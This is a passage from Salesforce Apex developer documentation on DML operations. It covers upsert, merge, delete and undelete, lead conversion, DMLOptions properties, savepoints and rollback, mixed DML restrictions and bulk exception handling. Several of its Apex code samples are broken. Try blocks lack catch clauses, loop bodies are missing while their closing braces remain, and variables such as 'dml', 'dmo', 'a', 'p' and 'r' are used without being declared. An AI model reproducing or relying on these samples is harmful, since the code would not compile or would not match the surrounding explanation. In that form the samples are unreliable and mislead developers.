exists, the upsert statement or Database method uses the record’s ID as the key to match records, a custom external ID field, or a
standard field with the idLookup attribute set to true.
• If the key is not matched, then a new object record is created.
• If the key is matched once, then the existing object record is updated.
• If the key is matched multiple times, then an error is generated and the object record is neither inserted or updated.
Note: Custom field matching is case-insensitive only if the custom field has the Unique and Treat "ABC" and "abc" as duplicate
values (case insensitive) attributes selected as part of the field definition. If this is the case, “ABC123” is matched with “abc123.”
For more information, see Create Custom Fields.
Examples
The following example updates the city name for all existing accounts located in the city formerly known as Bombay, and also inserts a
new account located in San Francisco:
Account[] acctsList = [SELECT Id, Name, BillingCity
FROM Account WHERE BillingCity = 'Bombay'];
for (Account a : acctsList) {
a.BillingCity = 'Mumbai';
}
120
Account newAcct = new Account(Name = 'Acme', BillingCity = 'San Francisco');

acctsList.add(newAcct);
try {
upsert acctsList;
} catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 139.
This next example uses the Database.upsert method to upsert a collection of leads that are passed in. This example allows for
partial processing of records, that is, in case some records fail processing, the remaining records are still inserted or updated. It iterates
through the results and adds a new task to each record that was processed successfully. The task sObjects are saved in a list, which is
then bulk inserted. This example is followed by a test class that contains a test method for testing the example.
/* This class demonstrates and tests the use of the
* partial processing DML operations */
public class DmlSamples {
/* This method accepts a collection of lead records and

creates a task for the owner(s) of any leads that were
created as new, that is, not updated as a result of the upsert
operation */
public static List<Database.upsertResult> upsertLeads(List<Lead> leads) {
/* Perform the upsert. In this case the unique identifier for the
insert or update decision is the Salesforce record ID. If the
record ID is null the row will be inserted, otherwise an update
will be attempted. */
List<Database.upsertResult> uResults = Database.upsert(leads,false);
/* This is the list for new tasks that will be inserted when new
leads are created. */
List<Task> tasks = new List<Task>();
for(Database.upsertResult result:uResults) {
if (result.isSuccess() && result.isCreated())
tasks.add(new Task(Subject = 'Follow-up', WhoId = result.getId()));
}
/* If there are tasks to be inserted, insert them */

Database.insert(tasks);
return uResults;
}
}
@isTest
private class DmlSamplesTest {
public static testMethod void testUpsertLeads() {
/* We only need to test the insert side of upsert */
List<Lead> leads = new List<Lead>();
/* Create a set of leads for testing */
121
for(Integer i = 0;i < 100; i++) {

leads.add(new Lead(LastName = 'testLead', Company = 'testCompany'));
}
/* Switch to the runtime limit context */

Test.startTest();
/* Exercise the method */

List<Database.upsertResult> results = DmlSamples.upsertLeads(leads);
/* Switch back to the test context for limits */

Test.stopTest();
/* ID set for asserting the tasks were created as expected */

Set<Id> ids = new Set<Id>();
/* Iterate over the results, asserting success and adding the new ID
to the set for use in the comprehensive assertion phase below. */
for(Database.upsertResult result:results) {
System.assert(result.isSuccess());
ids.add(result.getId());
}
/* Assert that exactly one task exists for each lead that was inserted. */
for(Lead l:[SELECT Id, (SELECT Subject FROM Tasks) FROM Lead WHERE Id IN :ids]) {
System.assertEquals(1,l.tasks.size());
}
}
}
Use of upsert with an external ID can reduce the number of DML statements in your code, and help you to avoid hitting governor
limits (see Execution Governors and Limits). This next example uses upsert and an external ID field Line_Item_Id__c on the
Asset object to maintain a one-to-one relationship between an asset and an opportunity line item.
Note: Before running this sample, create a custom text field on the Asset object named Line_Item_Id__c and mark it as
an external ID. For information on custom fields, see the Salesforce online help.
public void upsertExample() {
Opportunity opp = [SELECT Id, Name, AccountId,
(SELECT Id, PricebookEntry.Product2Id, PricebookEntry.Name
FROM OpportunityLineItems)
FROM Opportunity
WHERE HasOpportunityLineItem = true
LIMIT 1];
Asset[] assets = new Asset[]{};
// Create an asset for each line item on the opportunity

for (OpportunityLineItem lineItem:opp.OpportunityLineItems) {
//This code populates the line item Id, AccountId, and Product2Id for each asset
Asset asset = new Asset(Name = lineItem.PricebookEntry.Name,
Line_Item_ID__c = lineItem.Id,
AccountId = opp.AccountId,
122
Product2Id = lineItem.PricebookEntry.Product2Id);
assets.add(asset);
}
try {
upsert assets Line_Item_ID__c; // This line upserts the assets list with
// the Line_Item_Id__c field specified as the
// Asset field that should be used for matching
// the record that should be upserted.
System.debug(e.getMessage());
}
}
Merging Records
When you have duplicate lead, contact, or account records in the database, cleaning up your data and consolidating the records might
be a good idea. You can merge up to three records of the same sObject type. The merge operation merges up to three records into
one of the records, deletes the others, and reparents any related records.
Example
The following shows how to merge an existing Account record into a master account. The account to merge has a related contact, which
is moved to the master account record after the merge operation. Also, after merging, the merge record is deleted and only one record
remains in the database. This examples starts by creating a list of two accounts and inserts the list. Then it executes queries to get the
new account records from the database, and adds a contact to the account to be merged. Next, it merges the two accounts. Finally, it
verifies that the contact has been moved to the master account and the second account has been deleted.
// Insert new accounts
List<Account> ls = new List<Account>{
new Account(name='Acme Inc.'),
new Account(name='Acme')
};
insert ls;
// Queries to get the inserted accounts

Account masterAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
Account mergeAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
// Add a contact to the account to be merged

Contact c = new Contact(FirstName='Joe',LastName='Merged');
c.AccountId = mergeAcct.Id;
insert c;
try {
merge masterAcct mergeAcct;
// Process exception
}
// Once the account is merged with the master account,
123
// the related contact should be moved to the master record.

masterAcct = [SELECT Id, Name, (SELECT FirstName,LastName From Contacts)
FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
System.assert(masterAcct.getSObjects('Contacts').size() > 0);
System.assertEquals('Joe', masterAcct.getSObjects('Contacts')[0].get('FirstName'));
System.assertEquals('Merged', masterAcct.getSObjects('Contacts')[0].get('LastName'));
// Verify that the merge record got deleted

Account[] result = [SELECT Id, Name FROM Account WHERE Id=:mergeAcct.Id];
System.assertEquals(0, result.size());
This second example is similar to the previous except that it uses the Database.merge method (instead of the merge statement).
The last argument of Database.merge is set to false to have any errors encountered in this operation returned in the merge
result instead of getting exceptions. The example merges two accounts into the master account and retrieves the returned results. The
example creates a master account and two duplicates, one of which has a child contact. It verifies that after the merge the contact is
moved to the master account.
// Create master account
Account master = new Account(Name='Account1');
insert master;
// Create duplicate accounts

Account[] duplicates = new Account[]{
// Duplicate account
new Account(Name='Account1, Inc.'),
// Second duplicate account
new Account(Name='Account 1')
};
insert duplicates;
// Create child contact and associate it with first account

Contact c = new Contact(firstname='Joe',lastname='Smith', accountId=duplicates[0].Id);
insert c;
// Get the account contact relation ID, which is created when a contact is created on
"Account1, Inc."
AccountContactRelation resultAcrel = [SELECT Id FROM AccountContactRelation WHERE
ContactId=:c.Id LIMIT 1];
// Merge accounts into master

Database.MergeResult[] results = Database.merge(master, duplicates, false);
for(Database.MergeResult res : results) {

if (res.isSuccess()) {
// Get the master ID from the result and validate it
System.debug('Master record ID: ' + res.getId());
System.assertEquals(master.Id, res.getId());
// Get the IDs of the merged records and display them

List<Id> mergedIds = res.getMergedRecordIds();
System.debug('IDs of merged records: ' + mergedIds);
124
// Get the ID of the reparented record and

// validate that this the contact ID.
System.debug('Reparented record ID: ' + res.getUpdatedRelatedIds());
// Make sure there are two IDs (contact ID and account contact relation ID); the order
isn't defined
System.assertEquals(2, res.getUpdatedRelatedIds().size() );
boolean flag1 = false;
boolean flag2 = false;
// Because the order of the IDs isn't defined, the ID can be at index 0 or 1 of the
array
if (resultAcrel.id == res.getUpdatedRelatedIds()[0] || resultAcrel.id ==
res.getUpdatedRelatedIds()[1] )
flag1 = true;
if (c.id == res.getUpdatedRelatedIds()[0] || c.id == res.getUpdatedRelatedIds()[1]

)
flag2 = true;
System.assertEquals(flag1, true);
System.assertEquals(flag2, true);
}
else {
for(Database.Error err : res.getErrors()) {
// Write each error to the debug output
System.debug(err.getMessage());
}
}
}
Merge Considerations
When merging sObject records, consider the following rules and guidelines:
• Only leads, contacts, and accounts can be merged. See sObjects That Don’t Support DML Operations on page 138.
• You can pass a master record and up to two additional sObject records to a single merge method.
• Using the Apex merge operation, field values on the master record always supersede the corresponding field values on the records
to be merged. To preserve a merged record field value, simply set this field value on the master sObject before performing the merge.
• External ID fields can’t be used with merge.
For more information on merging leads, contacts and accounts, see the Salesforce online help.
Deleting Records
After you persist records in the database, you can delete those records using the delete operation. Deleted records aren’t deleted
permanently from Force.com, but they are placed in the Recycle Bin for 15 days from where they can be restored. Restoring deleted
records is covered in a later section.
125
Example
The following example deletes all accounts that are named 'DotCom':
Account[] doomedAccts = [SELECT Id, Name FROM Account
WHERE Name = 'DotCom'];
try {
delete doomedAccts;
}
Referential Integrity When Deleting and Restoring Records

The delete operation supports cascading deletions. If you delete a parent object, you delete its children automatically, as long as
each child record can be deleted.
For example, if you delete a case record, Apex automatically deletes any CaseComment, CaseHistory, and CaseSolution records associated
with that case. However, if a particular child record is not deletable or is currently being used, then the delete operation on the parent
case record fails.
The undelete operation restores the record associations for the following types of relationships:
• Parent accounts (as specified in the Parent Account field on an account)
• Indirect account-contact relationships (as specified on the Related Accounts related list on a contact or the Related Contacts related
list on an account)
• Parent cases (as specified in the Parent Case field on a case)
• Master solutions for translated solutions (as specified in the Master Solution field on a solution)
• Managers of contacts (as specified in the Reports To field on a contact)
• Products related to assets (as specified in the Product field on an asset)
• Opportunities related to quotes (as specified in the Opportunity field on a quote)
• All custom lookup relationships
• Relationship group members on accounts and relationship groups, with some exceptions
• Tags
• An article's categories, publication state, and assignments
Note: Salesforce only restores lookup relationships that have not been replaced. For example, if an asset is related to a different
product prior to the original product record being undeleted, that asset-product relationship is not restored.
Restoring Deleted Records

After you have deleted records, the records are placed in the Recycle Bin for 15 days, after which they are permanently deleted. While
the records are still in the Recycle Bin, you can restore them using the undelete operation. If you accidentally deleted some records
that you want to keep, restore them from the Recycle Bin.
126
Example
The following example undeletes an account named 'Universal Containers'. The ALL ROWS keyword queries all rows for both top
level and aggregate relationships, including deleted records and archived activities.
Account a = new Account(Name='Universal Containers');
insert(a);
insert(new Contact(LastName='Carter',AccountId=a.Id));
delete a;
Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Universal Containers'
ALL ROWS];
try {
undelete savedAccts;
}
Undelete Considerations
Note the following when using the undelete statement.
• You can undelete records that were deleted as the result of a merge. However, the merge reparents the child objects, and that
reparenting can’t be undone.
• To identify deleted records, including records deleted as a result of a merge, use the ALL ROWS parameters with a SOQL query.
• See Referential Integrity When Deleting and Restoring Records.
SEE ALSO:
Querying All Records with a SOQL Statement
Converting Leads
The convertLead DML operation converts a lead into an account and contact, as well as (optionally) an opportunity. convertLead
is available only as a method on the Database class; it is not available as a DML statement.
Converting leads involves the following basic steps:
1. Your application determines the IDs of any lead(s) to be converted.
2. Optionally, your application determines the IDs of any account(s) into which to merge the lead. Your application can use SOQL to
search for accounts that match the lead name, as in the following example:
SELECT Id, Name FROM Account WHERE Name='CompanyNameOfLeadBeingMerged'
3. Optionally, your application determines the IDs of the contact or contacts into which to merge the lead. The application can use
SOQL to search for contacts that match the lead contact name, as in the following example:
SELECT Id, Name FROM Contact WHERE FirstName='FirstName' AND LastName='LastName' AND
AccountId = '001...'
4. Optionally, the application determines whether opportunities should be created from the leads.
127
5. The application queries the LeadSource table to obtain all of the possible converted status options (SELECT ... FROM
LeadStatus WHERE IsConverted='1'), and then selects a value for the converted status.
6. The application calls convertLead.
7. The application iterates through the returned result or results and examines each LeadConvertResult object to determine whether
conversion succeeded for each lead.
8. Optionally, when converting leads owned by a queue, the owner must be specified. This is because accounts and contacts cannot
be owned by a queue. Even if you are specifying an existing account or contact, you must still specify an owner.
Example
This example shows how to use the Database.convertLead method to convert a lead. It inserts a new lead, creates a
LeadConvert object and sets its status to converted, then passes it to the Database.convertLead method. Finally, it verifies
that the conversion was successful.
Lead myLead = new Lead(LastName = 'Fry', Company='Fry And Sons');
insert myLead;
Database.LeadConvert lc = new database.LeadConvert();

lc.setLeadId(myLead.id);
LeadStatus convertStatus = [SELECT Id, MasterLabel FROM LeadStatus WHERE IsConverted=true

LIMIT 1];
lc.setConvertedStatus(convertStatus.MasterLabel);
Database.LeadConvertResult lcr = Database.convertLead(lc);

System.assert(lcr.isSuccess());
Convert Leads Considerations

• Field mappings: The system automatically maps standard lead fields to standard account, contact, and opportunity fields. For custom
lead fields, your Salesforce administrator can specify how they map to custom account, contact, and opportunity fields. For more
information about field mappings, see the Salesforce online help.
• Merged fields: If data is merged into existing account and contact objects, only empty fields in the target object are
overwritten—existing data (including IDs) are not overwritten. The only exception is if you specify setOverwriteLeadSource
on the LeadConvert object to true, in which case the LeadSource field in the target contact object is overwritten with the
contents of the LeadSource field in the source LeadConvert object.
• Record types: If the organization uses record types, the default record type of the new owner is assigned to records created during
lead conversion. The default record type of the user converting the lead determines the lead source values available during conversion.
If the desired lead source values are not available, add the values to the default record type of the user converting the lead. For more
information about record types, see the Salesforce online help.
• Picklist values: The system assigns the default picklist values for the account, contact, and opportunity when mapping any standard
lead picklist fields that are blank. If your organization uses record types, blank values are replaced with the default picklist values of
the new record owner.
• Automatic feed subscriptions: When you convert a lead into a new account, contact, and opportunity, the lead owner is unsubscribed
from the lead record’s Chatter feed. The lead owner, the owner of the generated records, and users that were subscribed to the lead
aren’t automatically subscribed to the generated records, unless they have automatic subscriptions enabled in their Chatter feed
settings. They must have automatic subscriptions enabled to see changes to the account, contact, and opportunity records in their
news feed. To subscribe to records they create, users must enable the Automatically follow records that I
128
create option in their personal settings. A user can subscribe to a record so that changes to the record display in the news feed
on the user's home page. This is a useful way to stay up-to-date with changes to records in Salesforce.
Exception Handling
DML statements return run-time exceptions if something went wrong in the database during the execution of the DML operations. You
can handle the exceptions in your code by wrapping your DML statements within try-catch blocks. The following example includes the
insert DML statement inside a try-catch block.
Account a = new Account(Name='Acme');

try {
insert a;
}
IN THIS SECTION:
Database Class Method Result Objects
Returned Database Errors
Database Class Method Result Objects

Database class methods return the results of the data operation. These result objects contain useful information about the data operation
for each record, such as whether the operation was successful or not, and any error information. Each type of operation returns a specific
result object type, as outlined below.
Operation Result Class

insert, update SaveResult Class
upsert UpsertResult Class
merge MergeResult Class
delete DeleteResult Class
undelete UndeleteResult Class
convertLead LeadConvertResult Class
emptyRecycleBin EmptyRecycleBinResult Class
Returned Database Errors

While DML statements always return exceptions when an operation fails for one of the records being processed and the operation is
rolled back for all records, Database class methods can either do so or allow partial success for record processing. In the latter case of
partial processing, Database class methods don’t throw exceptions. Instead, they return a list of errors for any errors that occurred on
failed records.
The errors provide details about the failures and are contained in the result of the Database class method. For example, a SaveResult
object is returned for insert and update operations. Like all returned results, SaveResult contains a method called getErrors
that returns a list of Database.Error objects, representing the errors encountered, if any.
129
Example
This example shows how to get the errors returned by a Database.insert operation. It inserts two accounts, one of which doesn’t
have the required Name field, and sets the second parameter to false: Database.insert(accts, false);. This sets the
partial processing option. Next, the example checks if the call had any failures through if (!sr.isSuccess()) and then iterates
through the errors, writing error information to the debug log.
// Create two accounts, one of which is missing a required field
Account[] accts = new List<Account>{
new Account(Name='Account1'),
new Account()};
Database.SaveResult[] srList = Database.insert(accts, false);

if (!sr.isSuccess()) {
System.debug('Fields that affected this error: ' + err.getFields());
}
}
}
More About DML

Here are some things you may want to know about using Data Manipulation Language.
IN THIS SECTION:
Setting DML Options
Transaction Control
sObjects That Cannot Be Used Together in DML Operations
DML operations on certain sObjects, sometimes referred to as setup objects, can’t be mixed with DML on other sObjects in the same
transaction. This restriction exists because some sObjects affect the user’s access to records in the org. You must insert or update
these types of sObjects in a different transaction to prevent operations from happening with incorrect access-level permissions. For
example, you can’t update an account and a user role in a single transaction. However, deleting a DML operation has no restrictions.
sObjects That Don’t Support DML Operations
Bulk DML Exception Handling
Things You Should Know about Data in Apex
Setting DML Options

You can specify DML options for insert and update operations by setting the desired options in the Database.DMLOptions object.
You can set Database.DMLOptions for the operation by calling the setOptions method on the sObject, or by passing it as
a parameter to the Database.insert and Database.update methods.
Using DML options, you can specify:
• The truncation behavior of fields.
130
• Assignment rule information.

• Duplicate rule information.
• Whether automatic emails are sent.
• The user locale for labels.
• Whether the operation allows for partial success.
The Database.DMLOptions class has the following properties:
• allowFieldTruncation Property
• assignmentRuleHeader Property
• dupicateRuleHeader
• emailHeader Property
• localeOptions Property
• optAllOrNone Property
DMLOptions is only available for Apex saved against API versions 15.0 and higher. DMLOptions settings take effect only for record
operations performed using Apex DML and not through the Salesforce user interface.
allowFieldTruncation Property
The allowFieldTruncation property specifies the truncation behavior of strings. In Apex saved against API versions previous
to 15.0, if you specify a value for a string and that value is too large, the value is truncated. For API version 15.0 and later, if a value is
specified that is too large, the operation fails and an error message is returned. The allowFieldTruncation property allows you
to specify that the previous behavior, truncation, be used instead of the new behavior in Apex saved against API versions 15.0 and later.
The allowFieldTruncation property takes a Boolean value. If true, the property truncates String values that are too long,
which is the behavior in API versions 14.0 and earlier. For example:
Database.DMLOptions dml = new Database.DMLOptions();
dml.allowFieldTruncation = true;
assignmentRuleHeader Property
The assignmentRuleHeader property specifies the assignment rule to be used when creating a case or lead.
Note: The Database.DMLOptions object supports assignment rules for cases and leads, but not for accounts or territory management.
Using the assignmentRuleHeader property, you can set these options:

• assignmentRuleID: The ID of an assignment rule for the case or lead. The assignment rule can be active or inactive. The ID
can be retrieved by querying the AssignmentRule sObject. If specified, do not specify useDefaultRule. If the value is not in
the correct ID format (15-character or 18-character Salesforce ID), the call fails and an exception is returned.
• useDefaultRule: Indicates whether the default (active) assignment rule will be used for a case or lead. If specified, do not
specify an assignmentRuleId.
The following example uses the useDefaultRule option:
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.useDefaultRule= true;
Lead l = new Lead(company='ABC', lastname='Smith');
131
l.setOptions(dmo);
insert l;
The following example uses the assignmentRuleID option:

dmo.assignmentRuleHeader.assignmentRuleId= '01QD0000000EqAn';

l.setOptions(dmo);
insert l;
Note: If there are no assignment rules in the organization, in API version 29.0 and earlier, creating a case or lead with
useDefaultRule set to true results in the case or lead being assigned to the predefined default owner. In API version 30.0
and later, the case or lead is unassigned and doesn't get assigned to the default owner.
dupicateRuleHeader Property
The dupicateRuleHeader property determines whether a record that’s identified as a duplicate can be saved. Duplicate rules
are part of the Duplicate Management feature.
Using the dupicateRuleHeader property, you can set these options.
• allowSave: Indicates whether a record that’s identified as a duplicate can be saved.
The following example shows how to save an account record that’s been identified as a duplicate. To learn how to iterate through
duplicate errors, see DuplicateError Class

dml.DuplicateRuleHeader.AllowSave = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
System.debug('Duplicate account has been inserted in Salesforce!');
}
emailHeader Property
The Salesforce user interface allows you to specify whether or not to send an email when the following events occur:
• Creation of a new case or task
• Conversion of a case email to a contact
• New user email notification
• Lead queue email notification
• Password reset
In Apex saved against API version 15.0 or later, the Database.DMLOptions emailHeader property enables you to specify additional
information regarding the email that gets sent when one of the events occurs because of Apex DML code execution.
Using the emailHeader property, you can set these options.
• triggerAutoResponseEmail: Indicates whether to trigger auto-response rules (true) or not (false), for leads and cases.
This email can be automatically triggered by a number of events, for example when creating a case or resetting a user password. If
this value is set to true, when a case is created, if there is an email address for the contact specified in ContactID, the email is
sent to that address. If not, the email is sent to the address specified in SuppliedEmail.
132
• triggerOtherEmail: Indicates whether to trigger email outside the organization (true) or not (false). This email can be
automatically triggered by creating, editing, or deleting a contact for a case.
• triggerUserEmail: Indicates whether to trigger email that is sent to users in the organization (true) or not (false). This
email can be automatically triggered by a number of events; resetting a password, creating a new user, or creating or modifying a
task.
Note: Adding comments to a case in Apex doesn’t trigger email to users in the organization even if triggerUserEmail
is set to true.
Even though auto-sent emails can be triggered by actions in the Salesforce user interface, the DMLOptions settings for emailHeader
take effect only for DML operations carried out in Apex code.
In the following example, the triggerAutoResponseEmail option is specified:
Account a = new Account(name='Acme Plumbing');
insert a;
Contact c = new Contact(email='jplumber@salesforce.com', firstname='Joe',lastname='Plumber',

accountid=a.id);
insert c;
Database.DMLOptions dlo = new Database.DMLOptions();
dlo.EmailHeader.triggerAutoResponseEmail = true;
Case ca = new Case(subject='Plumbing Problems', contactid=c.id);
database.insert(ca, dlo);
Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which IsGroupEvent
is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note the following behaviors for
group event email sent through Apex:
• Sending a group event invitation to a user respects the triggerUserEmail option
• Sending a group event invitation to a lead or contact respects the triggerOtherEmail option
• Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail
options, as appropriate
localeOptions Property
The localeOptions property specifies the language of any labels that are returned by Apex. The value must be a valid user locale
(language and country), such as de_DE or en_GB. The value is a String, 2-5 characters long. The first two characters are always an ISO
language code, for example 'fr' or 'en.' If the value is further qualified by a country, then the string also has an underscore (_) and another
ISO country code, for example 'US' or 'UK.' For example, the string for the United States is 'en_US', and the string for French Canadian is
'fr_CA.'
For a list of the languages that supports, see Supported Languages in the Salesforce online help.
133
optAllOrNone Property
The optAllOrNone property specifies whether the operation allows for partial success. If optAllOrNone is set to true, all
changes are rolled back if any record causes errors. The default for this property is false and successfully processed records are
committed while records with errors aren't. This property is available in Apex saved against Salesforce API version 20.0 and later.
Transaction Control
All requests are delimited by the trigger, class method, Web Service, Visualforce page or anonymous block that executes the Apex code.
If the entire request completes successfully, all changes are committed to the database. For example, suppose a Visualforce page called
an Apex controller, which in turn called an additional Apex class. Only when all the Apex code has finished running and the Visualforce
page has finished running, are the changes committed to the database. If the request does not complete successfully, all database
changes are rolled back.
Sometimes during the processing of records, your business rules require that partial work (already executed DML statements) be “rolled
back” so that the processing can continue in another direction. Apex gives you the ability to generate a savepoint, that is, a point in the
request that specifies the state of the database at that time. Any DML statement that occurs after the savepoint can be discarded, and
the database can be restored to the same condition it was in at the time you generated the savepoint.
The following limitations apply to generating savepoint variables and rolling back the database:
• If you set more than one savepoint, then roll back to a savepoint that is not the last savepoint you generated, the later savepoint
variables become invalid. For example, if you generated savepoint SP1 first, savepoint SP2 after that, and then you rolled back
to SP1, the variable SP2 would no longer be valid. You will receive a runtime error if you try to use it.
• References to savepoints cannot cross trigger invocations because each trigger invocation is a new trigger context. If you declare a
savepoint as a static variable then try to use it across trigger contexts, you will receive a run-time error.
• Each savepoint you set counts against the governor limit for DML statements.
• Static variables are not reverted during a rollback. If you try to run the trigger again, the static variables retain the values from the
first run.
• Each rollback counts against the governor limit for DML statements. You will receive a runtime error if you try to rollback the database
additional times.
• The ID on an sObject inserted after setting a savepoint is not cleared after a rollback. Create an sObject to insert after a rollback.
Attempting to insert the sObject using the variable created before the rollback fails because the sObject variable has an ID. Updating
or upserting the sObject using the same variable also fails because the sObject is not in the database and, thus, cannot be updated.
The following is an example using the setSavepoint and rollback Database methods.
Account a = new Account(Name = 'xxx'); insert a;
System.assertEquals(null, [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
AccountNumber);
// Create a savepoint while AccountNumber is null

Savepoint sp = Database.setSavepoint();
// Change the account number

a.AccountNumber = '123';
update a;
System.assertEquals('123', [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
AccountNumber);
// Rollback to the previous null value

Database.rollback(sp);
134
System.assertEquals(null, [SELECT AccountNumber FROM Account WHERE Id = :a.Id].

AccountNumber);
sObjects That Cannot Be Used Together in DML Operations

DML operations on certain sObjects, sometimes referred to as setup objects, can’t be mixed with DML on other sObjects in the same
transaction. This restriction exists because some sObjects affect the user’s access to records in the org. You must insert or update these
types of sObjects in a different transaction to prevent operations from happening with incorrect access-level permissions. For example,
you can’t update an account and a user role in a single transaction. However, deleting a DML operation has no restrictions.
You can’t use the following sObjects with other sObjects when performing DML operations in the same transaction.
• FieldPermissions
• Group
You can only insert and update a group in a transaction with other sObjects. Other DML operations aren’t allowed.
• GroupMember
Note: With legacy Apex code saved using Salesforce API version 14.0 and earlier, you can insert and update a group member
with other sObjects in the same transaction.
API
• ObjectPermissions
• PermissionSet
• PermissionSetAssignment
• QueueSObject
• ObjectTerritory2AssignmentRule
• ObjectTerritory2AssignmentRuleItem
• RuleTerritory2Association
• SetupEntityAccess
• Territory2
• Territory2Model
• UserTerritory2Association
• User
You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce API version 14.0 and earlier.
You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce API version 15.0 and later if
UserRoleId is specified as null.
You can update a user in a transaction with other sObjects in Apex code saved using Salesforce API version 14.0 and earlier
You can update a user in a transaction with other sObjects in Apex code saved using Salesforce API version 15.0 and later if the
following fields are not also updated:
– UserRoleId
– IsActive
– ForecastEnabled
– IsPortalEnabled
– Username
– ProfileId
135
• UserRole
• UserTerritory
• Territory
• Custom settings in Apex code saved using Salesforce API version 17.0 and earlier.
If you're using a Visualforce page with a custom controller, you can't mix sObject types with any of these special sObjects within a single
request or action. However, you can perform DML operations on these different types of sObjects in subsequent requests. For example,
you can create an account with a save button, and then create a user with a non-null role with a submit button.
You can perform DML operations on more than one type of sObject in a single class using the following process:
1. Create a method that performs a DML operation on one type of sObject.
2. Create a second method that uses the future annotation to manipulate a second sObject type.
This process is demonstrated in the example in the next section.
Example: Using a Future Method to Perform Mixed DML Operations

This example shows how to perform mixed DML operations by using a future method to perform a DML operation on the User object.
public class MixedDMLFuture {
public static void useFutureMethod() {
// First DML operation
insert a;
// This next operation (insert a user with a role)

// can't be mixed with the previous insert unless
// it is within a future method.
// Call future method to insert a user with a role.
Util.insertUserWithRole(
'mruiz@awcomputing.com', 'mruiz',
'mruiz@awcomputing.com', 'Ruiz');
}
}
public class Util {

@future
public static void insertUserWithRole(
String uname, String al, String em, String lname) {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];

UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
// Create new user with a non-null user role ID
User u = new User(alias = al, email=em,
emailencodingkey='UTF-8', lastname=lname,
languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
timezonesidkey='America/Los_Angeles',
username=uname);
insert u;
}
}
136
IN THIS SECTION:
Mixed DML Operations in Test Methods
Test methods allow for performing mixed Data Manipulation Language (DML) operations that include both setup sObjects and
other sObjects if the code that performs the DML operations is enclosed within System.runAs method blocks. You can also
perform DML in an asynchronous job that your test method calls. These techniques enable you, for example, to create a user with
a role and other sObjects in the same test.
Mixed DML Operations in Test Methods

Test methods allow for performing mixed Data Manipulation Language (DML) operations that include both setup sObjects and other
sObjects if the code that performs the DML operations is enclosed within System.runAs method blocks. You can also perform DML
in an asynchronous job that your test method calls. These techniques enable you, for example, to create a user with a role and other
sObjects in the same test.
The setup sObjects are listed in sObjects That Cannot Be Used Together in DML Operations.
Example: Mixed DML Operations in System.runAs Blocks

This example shows how to enclose mixed DML operations within System.runAs blocks to avoid the mixed DML error. The
System.runAs block runs in the current user’s context. It creates a test user with a role and a test account, which is a mixed DML
operation.
@isTest
private class MixedDML {
static testMethod void mixedDMLExample() {
User u;
Account a;
User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()];
// Insert account as current user
System.runAs (thisUser) {
u = new User(alias = 'jsmith', email='jsmith@acme.com',
emailencodingkey='UTF-8', lastname='Smith',
username='jsmith@acme.com');
insert u;
a = new Account(name='Acme');
insert a;
}
}
}
Use @future to Bypass the Mixed DML Error in a Test Method

Mixed DML operations within a single transaction aren’t allowed. You can’t perform DML on a setup sObject and another sObject in the
same transaction. However, you can perform one type of DML as part of an asynchronous job and the others in other asynchronous jobs
or in the original transaction. This class contains an @future method to be called by the class in the subsequent example.
public class InsertFutureUser {
@future
137
public static void insertUser() {

User futureUser = new User(firstname = 'Future', lastname = 'User',
alias = 'future', defaultgroupnotificationfrequency = 'N',
digestfrequency = 'N', email = 'test@test.org',
emailencodingkey = 'UTF-8', languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id,
timezonesidkey = 'America/Los_Angeles',
username = 'futureuser@test.org',
userpermissionsmarketinguser = false,
userpermissionsofflineuser = false, userroleid = r.Id);
insert(futureUser);
}
}
This class calls the method in the previous class.

@isTest
public class UserAndContactTest {
public testmethod static void testUserAndContact() {
InsertFutureUser.insertUser();
Contact currentContact = new Contact(
firstName = String.valueOf(System.currentTimeMillis()),
lastName = 'Contact');
insert(currentContact);
}
}
sObjects That Don’t Support DML Operations

Your organization contains standard objects provided by Salesforce and custom objects that you created. These objects can be accessed
in Apex as instances of the sObject data type. You can query these objects and perform DML operations on them. However, some
standard objects don’t support DML operations although you can still obtain them in queries. They include the following:
• AccountTerritoryAssignmentRule
• AccountTerritoryAssignmentRuleItem
• ApexComponent
• ApexPage
• BusinessHours
• BusinessProcess
• CategoryNode
• CurrencyType
• DatedConversionRate
• NetworkMember (allows update only)
• ProcessInstance
• Profile
• RecordType
• SelfServiceUser
• StaticResource
138
• Territory2
• UserAccountTeamMember
• UserTerritory
• WebLink
Note: All standard and custom objects can also be accessed through the SOAP API. ProcessInstance is an exception. You can’t
create, update, or delete ProcessInstance in the SOAP API.
Bulk DML Exception Handling

Exceptions that arise from a bulk DML call (including any recursive DML operations in triggers that are fired as a direct result of the call)
are handled differently depending on where the original call came from:
• When errors occur because of a bulk DML call that originates directly from the Apex DML statements, or if the allOrNone
parameter of a Database DML method was specified as true, the runtime engine follows the “all or nothing” rule: during a single
operation, all records must be updated successfully or the entire operation rolls back to the point immediately preceding the DML
statement.
• When errors occur because of a bulk DML call that originates from the SOAP API with default settings, or if the allOrNone
parameter of a Database DML method was specified as false, the runtime engine attempts at least a partial save:
1. During the first attempt, the runtime engine processes all records. Any record that generates an error due to issues such as
validation rules or unique index violations is set aside.
2. If there were errors during the first attempt, the runtime engine makes a second attempt that includes only those records that
did not generate errors. All records that didn't generate an error during the first attempt are processed, and if any record generates
an error (perhaps because of race conditions) it is also set aside.
3. If there were additional errors during the second attempt, the runtime engine makes a third and final attempt which includes
only those records that didn’t generate errors during the first and second attempts. If any record generates an error, the entire
